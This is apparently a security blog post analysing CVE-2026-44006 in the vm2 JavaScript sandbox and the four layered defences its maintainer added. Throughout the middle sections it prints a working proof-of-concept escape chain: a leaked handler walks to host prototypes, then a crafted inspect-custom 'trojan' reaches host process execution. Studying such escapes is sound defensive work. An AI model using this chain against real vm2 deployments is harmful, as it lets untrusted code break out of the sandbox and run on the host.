//nefariousplan

CVE-2026-44006: vm2 Has Four Independent Defenses For a Leak That Lives in Node

vendor

patterns

cve

proof of concept

April 24, 2026, vm2 added three independent defenses against a leaked BaseHandler instance. April 27, vm2 added the fourth. Same author, same file, same commit-message preamble: util.inspect({showProxy:true}) leaks a real BaseHandler instance to sandbox code. The leak vector all four defenses defend against does not live in vm2. Node 23 fixed it. vm2 fixed it anyway, four times, in three days.

The leak does not live in vm2

util.inspect is Node's diagnostic formatter. Given showProxy: true, it walks Proxy targets and renders their internal state, which is useful in development and would, in principle, be invisible to user code. The walk uses an internal context object with a seen array tracking what has already been printed, and a user-supplied stylize callback that receives every value the walk visits. On Node up to and including 22, a sandbox path through Buffer.prototype.slice reaches util.inspect with the right shape to put a real vm2 BaseHandler instance at seen[1] and deliver it, via the stylize callback's this, to sandbox code.

The probe is in vm2's regression suite, test/ghsa/GHSA-qcp4-v2jj-fjx8/repro.js:

let leakedHandler = null;
const obj = {
  subarray: Buffer.prototype.inspect,
  slice: Buffer.prototype.slice,
  hexSlice: () => '',
};
obj.slice(10, {
  showHidden: true,
  showProxy: true,
  depth: 10,
  stylize(a) {
    const handler = this.seen && this.seen[1];
    if (handler && handler.getPrototypeOf) leakedHandler = handler;
    return a;
  },
});

leakedHandler is now a real, registered BaseHandler. The handler is in handlerToObject, paired with its proxy target in the bridge's internal maps, ordinary in every respect except its location: the sandbox holds the reference.

Node 23 tightened Buffer.prototype.slice's argument validation and the seen[1] exposure no longer fires through this path. The test gates on whether the leak actually fires at runtime so the regression doesn't trivially pass on a newer Node:

if (!leakFires) {
  this.skip();
  return;
}

The leak is a Node bug. The defense lives in vm2.

What a leaked handler can still do

Three days earlier, on April 24, vm2 had shipped a coordinated patch for GHSA-v37h-5mfm-c47c covering the same leak vector. That patch closed three doors:

  1. Construction token. createBridge() captures an unforgeable closure-scoped Symbol('vm2 bridge handler construction'). Every BaseHandler / ProtectedHandler / ReadOnlyHandler / ReadOnlyMockHandler constructor requires this token as its first argument; any new pp.constructor(...) from sandbox code fails the token check and throws VMError(OPNA).
  2. Constructor sentinel rebind. Every handler prototype's .constructor property is replaced with a function that throws unconditionally. Prototype-chain walks from a leaked handler never reach a callable form of the real class.
  3. getHandlerObject WeakMap guard. Trap methods invoked on a sandbox-forged receiver (e.g., pp.set.call(forgedThis, ...)) check handlerToObject.has(this) and throw VMError(OPNA) if absent.

After April 24, the obvious primitives a leaked handler exposed were all gone. The constructor was unreachable. The class was unreachable through the prototype chain. Calls with forged this were rejected.

But the handler the sandbox holds is a real, registered handler. It is in the WeakMap. Its trap methods accept it as this. The trap method signatures are still callable:

get(target, key, receiver) { ... }
set(target, key, value, receiver) { ... }
getPrototypeOf(target) { ... }
apply(target, context, args) { ... }

The first argument of every Proxy trap is target. The Proxy machinery, on a legitimate trap call, supplies the proxy's internal target. The handler then operates on that target. The PoC's move is to invoke the trap method directly, not through Proxy machinery, and pass any object the sandbox wants the handler to operate on:

const gP = leakedHandler.getPrototypeOf;
const HObjectProto = gP(gP(gP(gP(Buffer))));

gP is a reference to BaseHandler.prototype.getPrototypeOf, bound to the leaked handler. The body of that trap, before April 27, was:

getPrototypeOf(target) {
  // Note: target@this(unsafe)
  return thisReflectGetPrototypeOf(target);
}

It calls host Reflect.getPrototypeOf on whatever was passed as target. The getHandlerObject(this) guard from April 24 catches a forged this; this method does not call getHandlerObject(this). There is nothing for the April 24 patches to grab. The trap operates.

gP(Buffer) returns the host-realm prototype of Buffer, which is Uint8Array.prototype host-side. gP(gP(Buffer)) returns the host TypedArray abstract prototype. gP(gP(gP(Buffer))) returns host Object.prototype. After four iterations, HObjectProto is bound to a host-realm intrinsic prototype, sandbox-readable.

From there:

const HObject = HObjectProto.constructor;
const sym = HObject.getOwnPropertySymbols(Buffer.prototype)[0];

HObject is host Object. Calling its getOwnPropertySymbols on host Buffer.prototype returns the array of symbol-keyed own properties; the first entry is Symbol.for('nodejs.util.inspect.custom'), the registered Node symbol that lets a type customise how util.inspect renders it. Buffer.prototype carries it because console.log(buf) is expected to print <Buffer 01 02 03>, not an index-keyed object dump.

The sandbox now holds the exact symbol value the host inspect protocol looks up at the call site. The rest of the chain is the same exit sink CVE-2026-43997 reaches through a different door:

const trojan = {
  [sym]: (depth, opt, inspect) => {
    inspect.constructor('return process')().__pwn && __pwn();
  },
  valueOf: undefined,
  constructor: undefined,
};
WebAssembly.compileStreaming(trojan).catch(() => {});

WebAssembly.compileStreaming expects a Response, gets a plain object, and runs util.inspect on the argument synchronously to format the rejection message. Host inspect finds the custom symbol on the trojan, calls the sandbox-defined function with a host-realm inspect reference as the third argument, and the sandbox calls inspect.constructor('return process')() to reach host Function and execute. CVE-2026-43997 closed the .constructor read on the host inspect reference; this PoC works in a vm2 release that has that fix but not the April 27 patch, because the entry point to the symbol extraction is the leaked handler's prototype walk, not the inspect callback's inspect argument. Two doors to the same room. Each gets its own deny.

The fourth defense

The April 27 commit, 6e3b98f, lives entirely in lib/bridge.js. Seventy-eight lines added, sixteen removed, one author. The structure is one new WeakMap, one new helper, and one new call at the entry of every trap method on every handler class.

// SECURITY (GHSA-qcp4-v2jj-fjx8): canonical proxy target keyed by handler.
const handlerToTarget = new ThisWeakMap();

function validateHandlerTarget(handler, target) {
  if (!thisReflectApply(thisWeakMapHas, handlerToTarget, [handler])) {
    throw new VMError(OPNA);
  }
  if (thisReflectApply(thisWeakMapGet, handlerToTarget, [handler]) !== target) {
    throw new VMError(OPNA);
  }
}

The WeakMap is keyed by handler and stores the canonical proxy target paired with it. Registration happens in thisProxyOther, the single function through which every handler instance is created:

function thisProxyOther(factory, other, proto, preventUnwrap) {
  const target = thisCreateTargetObject(other, proto);
  const handler = factory(other);
  thisReflectApply(thisWeakMapSet, handlerToTarget, [handler, target]);
  const proxy = new ThisProxy(target, handler);
  ...
}

validateHandlerTarget rejects two failure modes. A handler not in the WeakMap means the receiver was forged (the case the April 24 getHandlerObject guard already covered, now redundantly caught). A handler that is in the WeakMap but whose stored target does not strict-equal the supplied target means the trap was invoked with an attacker-chosen first argument. Both throw VMError(OPNA), the same error used elsewhere for boundary violations, so the attacker learns nothing about which branch fired.

The call appears at the entry of every trap method on every handler class. BaseHandler has sixteen trap methods; ProtectedHandler overrides two; ReadOnlyHandler overrides six; ReadOnlyMockHandler overrides one. Twenty-five call sites. Each one looks like this:

 getPrototypeOf(target) {
   // Note: target@this(unsafe)
+  validateHandlerTarget(this, target); // SECURITY (GHSA-qcp4-v2jj-fjx8)
   return thisReflectGetPrototypeOf(target);
 }

The Proxy machinery's legitimate invocation always supplies the canonical target paired with the handler at construction. Legitimate dispatch is unaffected. The forged-target attacker invocation supplies the object the sandbox wants the handler to operate on; strict equality rejects.

In ProtectedHandler.set and ReadOnlyHandler.set, validateHandlerTarget replaces the April 24 getHandlerObject(this) call: the new check subsumes the old. The diff's own comment is plain:

// SECURITY (GHSA-v37h-5mfm-c47c, GHSA-qcp4-v2jj-fjx8):
// validateHandlerTarget subsumes the earlier getHandlerObject(this)
// guard and additionally rejects attacker-supplied targets.

The April 24 guard was for forged this. The April 27 guard is for forged this AND forged target. The newer check does both. The older check was a partial.

The Bridge's Defense Inventory

vm2's docs/ATTACKS.md, after the April 27 commit, formally enumerates four layers around the leaked-handler primitive. The four are listed in numbered order:

  1. Construction token (GHSA-v37h-5mfm-c47c, April 24): closure-scoped Symbol required as the first constructor argument. Blocks reconstruction.
  2. getHandlerObject WeakMap guard (GHSA-v37h-5mfm-c47c, April 24): WeakMap.has(this) rejects forged receivers.
  3. Constructor-property sentinel rebind (GHSA-v37h-5mfm-c47c, April 24): every handler prototype's .constructor throws. Prototype-chain walks never reach a callable class.
  4. validateHandlerTarget (GHSA-qcp4-v2jj-fjx8, April 27): closure-scoped handlerToTarget WeakMap; strict-equality check at every trap entry. Rejects forged this and forged target.

The line after the enumeration is the maintainer's own:

These defenses are independent: even if one fails (e.g., future WeakMap tampering compromises the has check), the others still block the escape.

That sentence is the admission. The bridge does not trust any one of its four defenses to hold. It assumes that one will fail and pre-positions three more behind it. The patch's commit message names what each defense closes; the document's own prose names that each defense must be replaceable.

The Detector Is The Target is the pattern that fits this shape directly. vm2's bridge is the security boundary; the bridge's handlers are the bridge's enforcement layer. When the enforcement layer is reachable from the side it enforces against, the boundary is not absent, it is structurally compromised. The fix does not move the boundary. The fix stacks four independent layers on top of one another, on the assumption that the next leak vector is coming.

Why the dates matter

This blog has covered vm2's Unpatchable Primitive family at the V8-internal layer (CVE-2026-24118, CVE-2026-26956, CVE-2026-26332, CVE-2026-45411), the configuration layer (CVE-2026-44007), the write-trap layer (CVE-2026-44005), the builtin-allowlist layer (CVE-2026-43999), and the inspect-callback layer (CVE-2026-43997). CVE-2026-44006 is the handler-reachability layer.

Each prior entry is the same shape: identify a path by which sandbox code reaches host state through a seam the bridge does not interpose on, install a deny at the closest JS-visible point, accept that the defense is per-instance and reactive. The 44006 entry is structurally different in one respect: the patch is not against an external protocol or a V8 internal. The patch is against the bridge's own handler being callable with sandbox-supplied arguments.

The April 24 commit closed three doors on that primitive. The April 27 commit closed the fourth. The argument the April 24 check did not validate was the next argument in the trap signature. Three days separated the patches. Both bear the same author's name. The April 27 commit message names what the April 24 patch missed by quoting the trap signature: "Trap methods on the handler accept target as their first argument; the Proxy machinery legitimately supplies the proxy's internal target, but a leaked handler can be invoked directly with any value as target."

vm2's lib/bridge.js is this catalog's archetypal Design Debt Driver: a single file accruing GHSA-named commits at a cadence faster than weekly through April 2026, not because the file is neglected but because its job has no fixed perimeter. The job is a membrane between two JS realms running inside one V8 isolate, and every Node release moves the perimeter under it. The leak vector is Node's. Node 23 closed it. vm2 closed it anyway, four times, in three days, because the next leak vector is one Node version or one ECMAScript edition away, and the bridge cannot afford to wait for it.

Advisory: GHSA-qcp4-v2jj-fjx8. Fix commit: 6e3b98f. Regression suite: test/ghsa/GHSA-qcp4-v2jj-fjx8/.

Node 23 closed the leak vector. vm2 closed it four times anyway. Each fix is for the next leak.